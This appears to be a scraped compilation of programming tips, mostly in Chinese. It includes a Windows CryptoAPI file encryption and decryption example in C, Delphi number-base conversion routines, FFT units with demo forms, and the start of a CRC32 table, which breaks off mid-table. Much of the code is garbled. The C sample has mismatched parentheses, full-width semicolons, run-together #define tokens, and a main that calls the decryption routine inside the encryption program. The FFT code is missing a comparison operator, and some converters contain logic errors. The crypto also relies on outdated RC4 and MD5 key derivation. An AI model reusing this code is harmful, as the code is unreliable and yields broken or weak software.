062001-09a.jpg (18063 Bytes)

---- 目前支持CryptoAPI的Windows系统有：Windows 95 OSR2、Windows NT SP3及后续版本、Windows 98、Windows 2000等。CryptoAPI的配置信息存储在注册表中，包括如下密钥：

HKEY＿LOCAL＿MACHINE＼SOFTWARE＼
Microsoft \ Cryptography \Defaults
HKEY_CURRENT_USER\ Software \ Microsoft
 \ Cryptography \Providers
---- 2.数据加密原理

---- 数据加密的流程如下图：

062001-09b.jpg (14525 Bytes)

---- CryptoAPI使用两种密钥：会话密钥与公共/私人密钥对。会话密钥使用相同的加密和解密密钥，这种算法较快，但必须保证密钥的安全传递。公共/私人密钥对使用一个公共密钥和一个私人密钥，私人密钥只有专人才能使用，公共密钥可以广泛传播。如果密钥对中的一个用于加密，另一个一定用于解密。公共/私人密钥对算法很慢，一般只用于加密小批数据，例如用于加密会话密钥。

---- CryptoAPI支持两种基本的编码方法：流式编码和块编码。流式编码在明码文本的每一位上创建编码位，速度较快，但安全性较低。块编码在一个完整的块上（一般为64位）上工作，需要使用填充的方法对要编码的数据进行舍入，以组成多个完整的块。这种算法速度较慢，但更安全。

---- 3.应用举例

---- 下面以两个文件加密与解密的C程序片断为例，演示一下CryptoAPI的强大功能。这两个程序均为Win32控制台应用，程序省略了出错处理，实际运行时请加入。

---- ①文件加密

#include < windows.h >
#include < stdio.h >
#include < stdlib.h >
#include < wincrypt.h >

//确定使用RC2块编码或是RC4流式编码
#ifdef USE_BLOCK_CIPHER
#define ENCRYPT_ALGORITHMCALG_RC2
#define ENCRYPT_BLOCK_SIZE8
#else
   #define ENCRYPT_ALGORITHMCALG_RC4
   #define ENCRYPT_BLOCK_SIZE1
#endif

void CAPIDecryptFile(PCHAR szSource,
PCHAR szDestination, PCHAR szPassword);

void _cdecl main(int argc, char *argv[])
{
PCHAR szSource= NULL;
PCHAR szDestination = NULL;
PCHAR szPassword= NULL;

// 验证参数个数
if(argc != 3 && argc != 4) {
printf("USAGE: decrypt < source file >
 < dest file > [ < password > ]\n");
exit(1);
}

//读取参数.
szSource   = argv[1];
szDestination  = argv[2];
if(argc == 4) {
szPassword = argv[3];
}
CAPIDecryptFile(szSource, szDestination, szPassword);
}

/*szSource为要加密的文件名称，szDestination
为加密过的文件名称，szPassword为加密口令*/
void CAPIEncryptFile(PCHAR szSource, PCHAR
szDestination, PCHAR szPassword)
{
FILE *hSource  = NULL;
FILE *hDestination = NULL;
INT eof = 0;
HCRYPTPROV hProv   = 0;
HCRYPTKEY hKey = 0;
HCRYPTKEY hXchgKey = 0;
HCRYPTHASH hHash   = 0;
PBYTE pbKeyBlob = NULL;
DWORD dwKeyBlobLen;
PBYTE pbBuffer = NULL;
DWORD dwBlockLen;
DWORD dwBufferLen;
DWORD dwCount;

hSource = fopen(szSource,"rb"))；// 打开源文件.
hDestination = fopen(szDestination,"wb") ;
//.打开目标文件
   // 连接缺省的CSP
CryptAcquireContext(&hProv, NULL, NULL,
PROV_RSA_FULL, 0))；
if(szPassword == NULL) ｛
//口令为空，使用随机产生的会话密钥加密
// 产生随机会话密钥.
CryptGenKey(hProv, ENCRYPT_ALGORITHM,
CRYPT_EXPORTABLE, &hKey)
// 取得密钥交换对的公共密钥
CryptGetUserKey(hProv, AT_KEYEXCHANGE, &hXchgKey)；
// 计算隐码长度并分配缓冲区
CryptExportKey(hKey, hXchgKey, SIMPLEBLOB, 0,
NULL, &dwKeyBlobLen)；
pbKeyBlob = malloc(dwKeyBlobLen)) == NULL) ;
// 将会话密钥输出至隐码
CryptExportKey(hKey, hXchgKey, SIMPLEBLOB,
0, pbKeyBlob, &dwKeyBlobLen))；
// 释放密钥交换对的句柄
CryptDestroyKey(hXchgKey);
hXchgKey = 0;
// 将隐码长度写入目标文件
fwrite(&dwKeyBlobLen, sizeof(DWORD), 1, hDestination);
//将隐码长度写入目标文件
fwrite(pbKeyBlob, 1, dwKeyBlobLen, hDestination);
} else {
//口令不为空， 使用从口令派生出的密钥加密文件
CryptCreateHash(hProv, CALG_MD5, 0, 0, &hHash)；
// 建立散列表
CryptHashData(hHash, szPassword, strlen(szPassword), 0)；
 //散列口令
// 从散列表中派生密钥
CryptDeriveKey(hProv, ENCRYPT_ALGORITHM, hHash, 0, &hKey)；
// 删除散列表
CryptDestroyHash(hHash);
hHash = 0;
 }

 //计算一次加密的数据字节数，必须为ENCRYPT_BLOCK_SIZE的整数倍
dwBlockLen = 1000 - 1000 % ENCRYPT_BLOCK_SIZE;
//如果使用块编码，则需要额外空间
if(ENCRYPT_BLOCK_SIZE  > 1) {
dwBufferLen = dwBlockLen + ENCRYPT_BLOCK_SIZE;
} else {
dwBufferLen = dwBlockLen;
}
//分配缓冲区
pbBuffer = malloc(dwBufferLen)；
//加密源文件并写入目标文件
do {
// 从源文件中读出dwBlockLen个字节
dwCount = fread(pbBuffer, 1, dwBlockLen, hSource);
eof = feof(hSource);
//加密数据
CryptEncrypt(hKey, 0, eof, 0, pbBuffer,
&dwCount, dwBufferLen)；
// 将加密过的数据写入目标文件
fwrite(pbBuffer, 1, dwCount, hDestination);
} while(!feof(hSource));
printf("OK\n");
……//关闭文件、释放内存
   }

②文件解密

void CAPIDecryptFile(PCHAR szSource, PCHAR
szDestination, PCHAR szPassword)
{
……//变量声明、文件操作同文件加密程序

CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, 0);
  if(szPassword == NULL) {
// 口令为空，使用存储在加密文件中的会话密钥解密
// 读隐码的长度并分配内存
fread(&dwKeyBlobLen, sizeof(DWORD), 1, hSource);
pbKeyBlob = malloc(dwKeyBlobLen)) == NULL)；
// 从源文件中读隐码.
fread(pbKeyBlob, 1, dwKeyBlobLen, hSource);
// 将隐码输入CSP
CryptImportKey(hProv, pbKeyBlob,
dwKeyBlobLen, 0, 0, &hKey)；
} else {
// 口令不为空， 使用从口令派生出的密钥解密文件
CryptCreateHash(hProv, CALG_MD5, 0, 0, &hHash)；
CryptHashData(hHash, szPassword, strlen(szPassword), 0)；
CryptDeriveKey(hProv, ENCRYPT_ALGORITHM,
hHash, 0, &hKey)；
CryptDestroyHash(hHash);
hHash = 0;
}

dwBlockLen = 1000 - 1000 % ENCRYPT_BLOCK_SIZE;
if(ENCRYPT_BLOCK_SIZE  > 1) {
dwBufferLen = dwBlockLen + ENCRYPT_BLOCK_SIZE;
} else {
dwBufferLen = dwBlockLen;
}
pbBuffer = malloc(dwBufferLen)；

//解密源文件并写入目标文件
do {
dwCount = fread(pbBuffer, 1, dwBlockLen, hSource);
eof = feof(hSource);
// 解密数据
CryptDecrypt(hKey, 0, eof, 0, pbBuffer, &dwCount)；
// 将解密过的数据写入目标文件
fwrite(pbBuffer, 1, dwCount, hDestination);
} while(!feof(hSource));
printf("OK\n");
……//关闭文件、释放内存
}
---

---- 除直接用于加密数据外，CryptoAPI还广泛用于产生并确认数字签名，这里就不一一举例说明了，有兴趣的读者可以参考MSDN文档。


High()和Low()

先说High：High(X)函数返回参数的取值范围内的最大值，其类型为X，或X的
索引。X既可以是一个类型标识，也可以是一个变量，其类型必须为下面之一：

变量类型 High(X)的返回值
-------------------------------------------
序数类型 这一类型的最高取值
数组类型 数组索引的最大值
字符串类型 这一字符串声明过的长度
动态数组 返回实际元素个数的负值
字符串参数 返回实际元素个数的负值

示例：
function Sum( var X: array of Double): Double;
var
I:
Word;
S: Double;
begin
S := 0;  { Note that open
array index range is always zero-based. }
for I := 0 to High(X) do S
:= S + X[I];
Sum := S;
end;

Low(X)的含义可以参考上面的描述，但正好相反。


进制转换

HEX -> Integer

var
i : integer
s : string;
begin
s := '$' +
ThatHexString;
i := StrToInt(a);
end;

--------------------------------------------------------------------------------

Solution 2

--------------------------------------------------------------------------------

CONST HEX : ARRAY['A'..'F'] OF INTEGER = (10,11,12,13,14,15);
VAR str : String;
Int,
i : integer;
BEGIN
READLN(str);
Int := 0;
FOR i := 1 TO Length(str) DO
IF str[i] < 'A' THEN Int := Int * 16 + ORD(str[i]) - 48
ELSE Int := Int * 16 + HEX[str[i]];
WRITELN(Int);
READLN;
END.

Dec To HEX

HexString := Format('%0x',DecValue);

--------------------------------------------------------------------------------

ASCII to HEX / math
From: gregc@cryptocard.com (Greg Carter)

These work on byte array to strings, also look at the Ord and Chr functions in Delphi.

BytesToHexStr does this [0,1,1,0] of byte would be converted to string := '30313130'; HexStrToBytes goes the other way.

--------------------------------------------------------------------------------

unit Hexstr;

interface
uses String16, SysUtils;

Type
PByte = ^BYTE;

procedure BytesToHexStr(var hHexStr: String; pbyteArray: PByte; InputLength:
WORD);
procedure HexStrToBytes(hHexStr: String; pbyteArray:
Pointer);
procedure HexBytesToChar(var Response: String; hexbytes: PChar;
InputLength: WORD);

implementation
procedure BytesToHexStr(var hHexStr: String; pbyteArray:
PByte; InputLength: WORD);
Const
HexChars :
Array[0..15] of Char = '0123456789ABCDEF';
var
i, j:
WORD;
begin
SetLength(hHexStr, (InputLength *
2));
FillChar(hHexStr, sizeof(hHexStr), #0);
j :=
1;
for i := 1 to InputLength  do begin
hHexStr[j] := Char(HexChars[pbyteArray^ shr  4]);
inc(j);
hHexStr[j] :=   Char(HexChars[pbyteArray^ and 15]);
inc(j);
inc(pbyteArray);
end;
end;

procedure HexBytesToChar(var Response: String; hexbytes: PChar; InputLength: WORD);
var
i: WORD;
c: byte;
begin
SetLength(Response, InputLength);
FillChar(Response, SizeOf(Response), #0);
for i := 0 to (InputLength - 1) do begin
c := BYTE(hexbytes[i]) And BYTE($f);
if c > 9 then
Inc(c, $37)
else
Inc(c, $30);
Response[i + 1] := char(c);
end;{for}
end;

procedure HexStrToBytes(hHexStr: String; pbyteArray: Pointer);
{pbyteArray
must point to enough memory to hold the output}
var
i, j:
WORD;
tempPtr: PChar;
twoDigits :
String[2];
begin
tempPtr :=  pbyteArray;
j :=
1;
for i := 1 to (Length(hHexStr) DIV 2) do begin
twoDigits := Copy(hHexStr, j, 2); Inc(j, 2);
PByte(tempPtr)^ :=
StrToInt('$' + twoDigits); Inc(tempPtr);
end;{for}
end;

end.

--------------------------------------------------------------------------------

--------------------------------------------------------------------------------

UNIT String16.
interface
{$IFNDEF Win32}
procedure SetLength(var S: string; Len: Integer);
procedure SetString(var Dst: string; Src: PChar; Len: Integer);
{$ENDIF}
implementation
{$IFNDEF Win32}
procedure SetLength(var S: string; Len: Integer);
begin
if Len > 255 then
S[0] := Chr(255)
else
S[0] := Chr(Len)
end;

procedure SetString(var Dst: string; Src: PChar; Len: Integer);
begin
if Len > 255 then
Move(Src^, Dst[1], 255)
else
Move(Src^, Dst[1], Len);
SetLength(Dst, Len);
end;
{$ENDIF}
end.

--------------------------------------------------------------------------------

Convert binary to decimal

Can someone give me an idea of a simple way to convert binary (base2) to
decimal(base10).
Solution 1
[Anatoly Podgoretsky, kvk@estpak.ee]

--------------------------------------------------------------------------------

////////////////////////////////////////////////
// convert 32 bit base2 to 32 bit base10 //
// max number = 99 999 999, return -1 if more //
////////////////////////////////////////////////

function Base10(Base2:Integer) : Integer; assembler;
asm
cmp eax,100000000 // check upper limit
jb @1 // ok
mov eax,-1 // error flag
jmp @exit // exit with -1
@1:
push ebx // save registers
push esi
xor esi,esi // result = 0
mov ebx,10 // diveder base 10
mov ecx,8 // 8 nibbles (10^8-1)
@2:
mov edx,0 // clear remainder
div ebx // eax DIV 10, edx mod 10
add esi,edx // result = result + remainder[I]
ror esi,4 // shift nibble
loop @2 // loop for all 8 nibbles
mov eax,esi // function result
pop esi // restore registers
pop ebx
@exit:
end;

--------------------------------------------------------------------------------

Solution 2
[Oliver Townshend, oliver@zip.com.au]

--------------------------------------------------------------------------------

function IntToBin(Value: LongInt;Size: Integer): String;
var
i: Integer;
begin
Result:='';
for i:=Size downto 0 do begin
if Value and (1 shl i)<>0 then begin
Result:=Result+'1';
end else begin
Result:=Result+'0';
end;
end;
end;

function BinToInt(Value: String): LongInt;
var
i,Size:
Integer;
begin
Result:=0;
Size:=Length(Value);
for
i:=Size downto 0 do begin
if Copy(Value,i,1)='1' then
begin
Result:=Result+(1 shl
i);
end;
end;
end;

--------------------------------------------------------------------------------

Solution 3
[Demian Lessa, knowhow@compos.com.br]
Give this function any decimal value, specify a base (1..16) and it will return you a string containing the proper value, BaseX. You can use a similar method for Arabic/Roman conversion (see below).

--------------------------------------------------------------------------------

function DecToBase( Decimal: LongInt; const Base: Byte):
String;
const
Symbols: String[16] =
'0123456789ABCDEF';
var
scratch: String;
remainder:
Byte;
begin
scratch := '';
repeat
remainder := Decimal mod Base;
scratch :=
Symbols[remainder + 1] + scratch;
Decimal := Decimal div
Base;
until ( Decimal = 0 );
Result := scratch;
end;

--------------------------------------------------------------------------------
Give this function any decimal value (1...3999), and it will return you a string containing the proper value in Roman notation.

--------------------------------------------------------------------------------

function DecToRoman( Decimal: LongInt ): String;
const
Romans: Array[1..13] of String =
( 'I', 'IV', 'V', 'IX', 'X', 'XL', 'L', 'XC', 'C', 'CD', 'D', 'CM', 'M' );

Arabics: Array[1..13] of Integer =
( 1, 4, 5, 9, 10, 40, 50, 90, 100, 400, 500, 900, 1000);

var
i: Integer;
scratch: String;
begin
scratch := '';
for i := 13 downto 1 do
while (
Decimal >= Arabics[i] ) do
begin
Decimal := Decimal -
Arabics[i];
scratch :=   scratch +
Romans[i];
end;
Result := scratch;
end;

Decimals to binary

From: cehjohnson@aol.com (CEHJohnson)
Yes, ironic that it's so difficult to find routines to convert from decimal to binary isn't it!

The following should work.(for negative numbers too)

--------------------------------------------------------------------------------

function DecToBinStr(n: integer): string;

var
S: string;
i: integer;
Negative: boolean;

begin
if n < 0 then Negative := true;
n :=
Abs(n);
for i := 1 to SizeOf(n) * 8 do
begin
if n < 0 then S := S + '1' else S := S +
'0';
n := n shl 1;
end;
Delete(S,1,Pos('1',S) - 1);//remove leading zeros
if Negative then S
:= '-' + S;
Result := S;
end;


任意进制转换

const MinBase = 2;
MaxBase = 36;

function NumToStr
(num, len, base: Integer; neg: Boolean;
fill:
char): string;
// num =  要转换的数
// len
=  生成字符串的最小长度

// base = 进制数 2 = 二进制
// neg =  是否允许负数

// fill = 填充字符用于补满字符串长度//
// 用法:
// NumToStr
(45, 8, 2, false, ''0'') > ''00101101''
// NumToStr (45, 4, 8, false,
''0'') > ''0055''
// NumToStr (45, 4, 10, false, '' '') >
''  45''
// NumToStr (45, 4, 16, false, ''0'') > ''002D''
// NumToStr (45, 0, 36, false, '' '') > ''19''
//
var s: string;
digit: Integer;
begin
num:= ABS (num);
if ((base >= MinBase) and (base <= MaxBase)) then begin
s:= '''';
repeat
digit:= num
mod base;
if digit < 10 then  Insert (CHR (digit +
48), s, 1)
else  Insert (CHR (digit + 55), s, 1);
num:= num div
base;
until num = 0;
if neg
then  Insert (''-'', s, 1);
while Length(s) < len
do Insert (fill, s, 1);
end;
Result:= s;
end;

从字符串转换回数:

function StrToNum (const s: string; base: Integer;
neg: Boolean; max: Integer): Integer;
// s = 要转换的字符串
// base =
进制数
// neg = 是否为负数

// max = 要转换的最大数//
// 用法:
// i:= StrToNum
(''00101101'', 2, false, MaxInt);
// i:= StrToNum (''002D'', 16, false,
MaxInt);
// i:= StrToNum (''-45'', 10, true, MaxInt);
// i:= StrToNum
(''ZZ'', 36, true, MaxInt);
//
var negate, done: Boolean;
i, ind, len, digit, mmb: Integer;
c: Char;
mdb, res:
Integer;
begin
res:= 0;  i:= 1;  digit:= 0;
if
(base >= MinBase) and (base <= MaxBase) then begin
mmb:=
max mod base;
mdb:= max div base;
len:= Length
(s);
negate:= False;
while (i <= len) and
(s[i] = '' '') do Inc (i);
if neg then begin
case s[i] of
''+'': Inc (i);
''-'': begin  Inc (i);  negate:=
TRUE; end;
end; (* CASE *)
end; (* IF neg *)
done:= len > i;
while (i <= len) and done
do begin
c:= Upcase (s[i]);
case c of
''0''..''9'': digit:= ORD(c) - 48;
''A''..''Z'': digit:= ORD(c) - 55;
else      done:= FALSE
end; (* CASE *)
done:= done and (digit <
base);
if done then begin
done:=
(res < mdb) or ((res = mdb) and (digit <= mmb));
IF done then begin
res:= res * base + digit;
Inc (i);
end; (* IF done *)
end; (* IF done
*)
end; (* WHILE *)
if negate then res:= - res;
end; (* IF done *)
Result:= res;
end;


傅立叶变换

FFT algorithm for Delphi 2
David Ullrich <ullrich@math.okstate.edu>

Here's an FFT that handles 256 data points in about 0.008 seconds on a P66 (with 72MB, YMMV). Nothing but Delphi.

This one came out a lot nicer than the one I did a year ago. It's probably not optimal; if we want an optimal FFT we have to buy hardware, what the heck.
But I don't think it's too bad, performance-wise. There's a little bit of recursion involved, but the recursion doesn't involve copying any data, just a few pointers; if we have an array of length N = 2^d then the depth of the recursion is just d. Possibly it could be improved by unwrapping the recursion, it's not clear whether it would be worth the trouble. (But probably a person could get substantial inprovement with relatively little effort by unwrapping the bottom layer or two of the recursion, ie by saying

--------------------------------------------------------------------------------

if Depth < 2 then
{do what needs to be done}

--------------------------------------------------------------------------------

instead of the current 'if Depth = 0 then...' This would eliminate function calls that do nothing but make assignments, a good thing, while OTOH unwrapping all of the resursion would be trickier, and wouldn't seem as productive, since most of the function calls that would be eliminated do much more than just an assignment.)
There's a lookup table used for the sines and cosines; it could be that this is the wrong way to do it for large arrays, seems to work just fine for small to medium arrays.

Probably on a mchine with a lot of RAM a person would use VirtualAlloc(... PAGE_NOCACHE) for Src, Dest, and the lookup tables.

If anybody notices anything stupid about the way something's done not mentioned above please mention it.

What does it do, exactly? There are FFT's and FFT's - this one does the 'complex FT', that being the one I understand and care about. By this I mean that if N = 2^d and Src^ and Dest^ are arrays of N TComplexes, then a call

--------------------------------------------------------------------------------

FFT(d, Src, Dest)

--------------------------------------------------------------------------------

will fill in Dest with the complex FT: after the call Dest^[j] will equal

--------------------------------------------------------------------------------

1/sqrt(N) * Sum(k=0.. N - 1 ; EiT(2*Pi(j*k/N)) * Src^[k])

--------------------------------------------------------------------------------

, where EiT(t) = cos(t) + i sin(t) . Ie, the standard Fourier Transform.

Comes in two versions: In the first version I use a TComplex, with functions to manipulate the complex numbers. In the second version everything's real - instead of arrays Src and Dest of complexes we have arrays SrcR, SrcI, DestR, DestI of reals (for the real and imagionary parts), and all those function calls are written out inline. The first one is much easier for me to make sense of, the second version is much faster. (They both give the 'complex FFT'.) With little programs that test whether it does what it should by checking Plancherel (aka Parseval). It really does work, btw - if it doesn't work for you it's because I garbled something in the process of deleting stupid comments. The complex version:

--------------------------------------------------------------------------------

***
unit cplx;

interface

type
PReal = ^TReal;
TReal = extended;

PComplex = ^TComplex;
TComplex = record
r : TReal;
i : TReal;
end;

function MakeComplex(x, y: TReal): TComplex;
function Sum(x, y:
TComplex) : TComplex;
function Difference(x, y: TComplex) :
TComplex;
function Product(x, y: TComplex): TComplex;
function
TimesReal(x: TComplex; y: TReal): TComplex;
function PlusReal(x: TComplex; y:
TReal): TComplex;
function EiT(t: TReal):TComplex;
function
ComplexToStr(x: TComplex): string;
function AbsSquared(x: TComplex):
TReal;

implementation

uses SysUtils;

function MakeComplex(x, y: TReal): TComplex;
begin
with result do
begin
r:=x;
i:= y;
end;
end;

function Sum(x, y: TComplex) : TComplex;
begin
with result
do
begin
r:= x.r + y.r;
i:= x.i +
y.i;
end;
end;

function Difference(x, y: TComplex) : TComplex;
begin
with result
do
begin
r:= x.r - y.r;
i:= x.i -
y.i;
end;
end;

function EiT(t: TReal): TComplex;
begin
with result do
begin
r:= cos(t);
i:= sin(t);
end;
end;

function Product(x, y: TComplex): TComplex;
begin
with result
do
begin
r:= x.r * y.r - x.i *
y.i;
i:= x.r * y.i + x.i * y.r;
end;
end;

function TimesReal(x: TComplex; y: TReal): TComplex;
begin
with result
do
begin
r:= x.r * y;
i:= x.i *
y;
end;
end;

function PlusReal(x: TComplex; y: TReal): TComplex;
begin
with result do
begin
r:= x.r + y;
i:= x.i;
end;
end;

function ComplexToStr(x: TComplex): string;
begin
result:= FloatToStr(x.r)
+ ' + '
+ FloatToStr(x.i)
+ 'i';
end;

function AbsSquared(x: TComplex): TReal;
begin
result:= x.r*x.r
+ x.i*x.i;
end;

end.

--------------------------------------------------------------------------------

--------------------------------------------------------------------------------

unit cplxfft1;

interface

uses Cplx;

type
PScalar =
^TScalar;
TScalar = TComplex; {Making
conversion to real version easier}

PScalars = ^TScalars;
TScalars = array[0..High(integer) div SizeOf(TScalar) - 1]
of TScalar;

const

TrigTableDepth: word = 0;
TrigTable : PScalars = nil;

procedure InitTrigTable(Depth: word);

procedure FFT(Depth: word;
Src: PScalars;
Dest: PScalars);

{REQUIRES allocating

(integer(1) shl Depth) * SizeOf(TScalar)

bytes for Src and Dest before call!}

implementation

procedure DoFFT(Depth: word;
Src: PScalars;
SrcSpacing: word;
Dest: PScalars);
{the recursive part called by FFT when ready}
var j, N: integer; Temp: TScalar; Shift: word;
begin
if Depth = 0 then
begin
Dest^[0]:= Src^[0];
exit;
end;

N:= integer(1) shl (Depth - 1);

DoFFT(Depth - 1, Src, SrcSpacing * 2, Dest);
DoFFT(Depth - 1, @Src^[SrcSpacing], SrcSpacing * 2, @Dest^[N] );

Shift:= TrigTableDepth - Depth;

for j:= 0 to N - 1 do
begin
Temp:= Product(TrigTable^[j shl Shift],
Dest^[j + N]);
Dest^[j + N]:= Difference(Dest^[j], Temp);
Dest^[j] := Sum(Dest^[j], Temp);
end;

end;

procedure FFT(Depth: word;
Src: PScalars;
Dest: PScalars);
var j, N: integer; Normalizer: extended;
begin

N:= integer(1) shl depth;

if Depth TrigTableDepth then
InitTrigTable(Depth);

DoFFT(Depth, Src, 1, Dest);

Normalizer:= 1 / sqrt(N) ;

for j:=0 to N - 1 do
Dest^[j]:= TimesReal(Dest^[j], Normalizer);

end;

procedure InitTrigTable(Depth: word);
var j, N: integer;
begin

N:= integer(1) shl depth;
ReAllocMem(TrigTable, N * SizeOf(TScalar));
for j:=0 to N - 1 do
TrigTable^[j]:= EiT(-(2*Pi)*j/N);
TrigTableDepth:= Depth;

end;

initialization

;

finalization
ReAllocMem(TrigTable, 0);

end.

--------------------------------------------------------------------------------

--------------------------------------------------------------------------------

unit DemoForm;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
Memo1: TMemo;
Edit1: TEdit;
Label1: TLabel;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

uses cplx, cplxfft1, MMSystem;

procedure TForm1.Button1Click(Sender: TObject);
var j: integer;
s:string;
src, dest: PScalars;
norm:
extended;
d,N,count:integer;
st,et:
longint;
begin

d:= StrToIntDef(edit1.text, -1) ;
if d <1 then
raise exception.Create('depth must be a positive integer');

N:= integer(1) shl d ;

GetMem(Src, N*Sizeof(TScalar));
GetMem(Dest, N*SizeOf(TScalar));

for j:=0 to N-1 do
begin
src^[j]:= MakeComplex(random, random);
end;

begin

st:= timeGetTime;
FFT(d, Src, dest);
et:= timeGetTime;

end;

Memo1.Lines.Add('N = ' + IntToStr(N));
Memo1.Lines.Add('expected norm: ' +#9+ FloatToStr(N*2/3));

   norm:=0;
for j:=0 to N-1 do norm:= norm +
AbsSquared(src^[j]);
Memo1.Lines.Add('Data norm:
'+#9+FloatToStr(norm));
norm:=0;
for j:=0 to N-1
do norm:= norm + AbsSquared(dest^[j]);
Memo1.Lines.Add('FT norm:
'+#9#9+FloatToStr(norm));

Memo1.Lines.Add('Time in FFT routine: '+#9
+ inttostr(et - st)
+ ' ms.');
Memo1.Lines.Add(' ');

FreeMem(Src);
FreeMem(DEst);
end;

end.

--------------------------------------------------------------------------------

**** The real version:

****

--------------------------------------------------------------------------------

unit cplxfft2;

interface

type
PScalar = ^TScalar;
TScalar = extended;

PScalars = ^TScalars;
TScalars = array[0..High(integer) div SizeOf(TScalar) - 1]
of TScalar;

const

TrigTableDepth: word = 0;
CosTable : PScalars = nil;
SinTable : PScalars = nil;

procedure InitTrigTables(Depth: word);

procedure FFT(Depth: word;
SrcR, SrcI: PScalars;
DestR, DestI: PScalars);

{REQUIRES allocating

(integer(1) shl Depth) * SizeOf(TScalar)

bytes for SrcR, SrcI, DestR and DestI before call!}

implementation

procedure DoFFT(Depth: word;
SrcR, SrcI: PScalars;
SrcSpacing: word;
DestR, DestI: PScalars);
{the recursive part called by FFT when ready}
var j, N: integer;
TempR, TempI: TScalar;
Shift: word;
c, s: extended;
begin
if Depth = 0 then
begin
DestR^[0]:= SrcR^[0];
DestI^[0]:= SrcI^[0];
exit;
end;

N:= integer(1) shl (Depth - 1);

DoFFT(Depth - 1, SrcR, SrcI, SrcSpacing * 2, DestR, DestI);
DoFFT(Depth - 1,
@SrcR^[srcSpacing],
@SrcI^[SrcSpacing],
SrcSpacing * 2,
@DestR^[N],
@DestI^[N]);

Shift:= TrigTableDepth - Depth;

for j:= 0 to N - 1 do
begin
c:= CosTable^[j shl
Shift];
s:= SinTable^[j shl Shift];

TempR:= c * DestR^[j + N] - s * DestI^[j + N];
TempI:= c * DestI^[j + N] + s * DestR^[j + N];

DestR^[j + N]:= DestR^[j] - TempR;
DestI^[j + N]:= DestI^[j] - TempI;

DestR^[j]:= DestR^[j] + TempR;
DestI^[j]:= DestI^[j] + TempI;
end;

end;

procedure FFT(Depth: word;
SrcR, SrcI: PScalars;
DestR, DestI: PScalars);
var j, N: integer; Normalizer: extended;
begin

N:= integer(1) shl depth;

if Depth TrigTableDepth then
InitTrigTables(Depth);

DoFFT(Depth, SrcR, SrcI, 1, DestR, DestI);

Normalizer:= 1 / sqrt(N) ;

for j:=0 to N - 1 do
begin
DestR^[j]:= DestR^[j] * Normalizer;
DestI^[j]:= DestI^[j] * Normalizer;
end;

end;

procedure InitTrigTables(Depth: word);
var j, N: integer;
begin

N:= integer(1) shl depth;
ReAllocMem(CosTable, N *
SizeOf(TScalar));
ReAllocMem(SinTable, N * SizeOf(TScalar));
for j:=0 to N
- 1 do
begin
CosTable^[j]:=
cos(-(2*Pi)*j/N);
SinTable^[j]:=
sin(-(2*Pi)*j/N);
end;
TrigTableDepth:= Depth;

end;

initialization

;

finalization
ReAllocMem(CosTable, 0);
ReAllocMem(SinTable, 0);

end.

--------------------------------------------------------------------------------

--------------------------------------------------------------------------------

unit demofrm;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics,
Controls, Forms, Dialogs, cplxfft2, StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
Memo1: TMemo;
Edit1: TEdit;
Label1: TLabel;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

uses MMSystem;

procedure TForm1.Button1Click(Sender: TObject);
var SR, SI, DR, DI:
PScalars;
j,d,N:integer;
st, et: longint;
norm: extended;
begin

d:= StrToIntDef(edit1.text, -1) ;
if d <1 then
raise exception.Create('depth must be a positive integer');

N:= integer(1) shl d;

GetMem(SR, N * SizeOf(TScalar));
GetMem(SI, N * SizeOf(TScalar));
GetMem(DR, N * SizeOf(TScalar));
GetMem(DI, N * SizeOf(TScalar));

for j:=0 to N - 1 do
begin
SR^[j]:=random;
SI^[j]:=random;
end;

st:= timeGetTime;
FFT(d, SR, SI, DR, DI);
et:= timeGetTime;

memo1.Lines.Add('N = '+inttostr(N));
memo1.Lines.Add('expected norm: '+#9+FloatToStr(N*2/3));

norm:=0;
for j:=0 to N - 1 do
norm:= norm +
SR^[j]*SR^[j] + SI^[j]*SI^[j];
memo1.Lines.Add('Data norm:
'+#9+FloatToStr(norm));

norm:=0;
for j:=0 to N - 1 do
norm:= norm +
DR^[j]*DR^[j] + DI^[j]*DI^[j];
memo1.Lines.Add('FT norm:
'+#9#9+FloatToStr(norm));

memo1.Lines.Add('Time in FFT routine: '+#9+inttostr(et-st));
memo1.Lines.add('');
(*for j:=0 to N - 1 do
Memo1.Lines.Add(FloatToStr(SR^[j])
+ ' + '
+ FloatToStr(SI^[j])
+ 'i');

for j:=0 to N - 1 do
Memo1.Lines.Add(FloatToStr(DR^[j])
+ ' + '
+ FloatToStr(DI^[j])
+ 'i');*)

FreeMem(SR, N * SizeOf(TScalar));
FreeMem(SI, N * SizeOf(TScalar));
FreeMem(DR, N * SizeOf(TScalar));
FreeMem(DI, N * SizeOf(TScalar));
end;

end.


获得CRC校验值

CONST Table: Array[0..255] of LongInt = ($00000000, $77073096, $EE0E612C, $990951BA, $076DC419, $706AF48F, $E963A535, $9E6495A3, $0EDB8832, $79DCB8A4, $E0D5E91E, $97D2D988, $09B64C2B, $7EB17CBD, $E7B82D07, $90BF1D91, $1DB71064, $6AB020F2, $F3B97148, $84BE41DE, $1ADAD47D, $6DDDE4EB, $F4D4B551, $83D385C7, $136C9856, $646BA8C0, $FD62F97A, $8A65C9EC, $14015C4F, $63066CD9, $FA0F3D63, $8D080DF5, $3B6E20C8, $4C69105E, $D56041E4, $A2677172, $3C03E4D1, $4B04D447, $D20D85FD, $A50AB56B, $35B5A8FA, $42B2986C, $DBBBC9D6, $ACBCF940, $32D86CE3, $45DF5C75, $DCD60DCF, $ABD13D59, $26D930AC, $51DE003A, $C8D75180, $BFD06116, $21B4F4B5, $56B3C423, $CFBA9599, $B8BDA50F, $2802B89E, $5F058808, $C60CD9B2, $B10BE924, $2F6F7C87, $58684C11, $C1611DAB, $B6662D3D, $76DC4190, $01DB7106, $98D220BC, $EFD5102A, $71B18589, $06B6B51F, $9FBFE4A5, $E8B8D433, $7807C9A2, $0F00F934, $9609A88E, $E10E9818, $7F6A0DBB, $086D3D2D, $91646C97, $E6635C01, $6B6B51F4, $1C6C6162, $856530D8, $F262004E, $6C0695ED, $1B01A57B, $8208F4C1, $F50FC457, $65B0D9C6, $12B7E950, $8BBEB8EA, 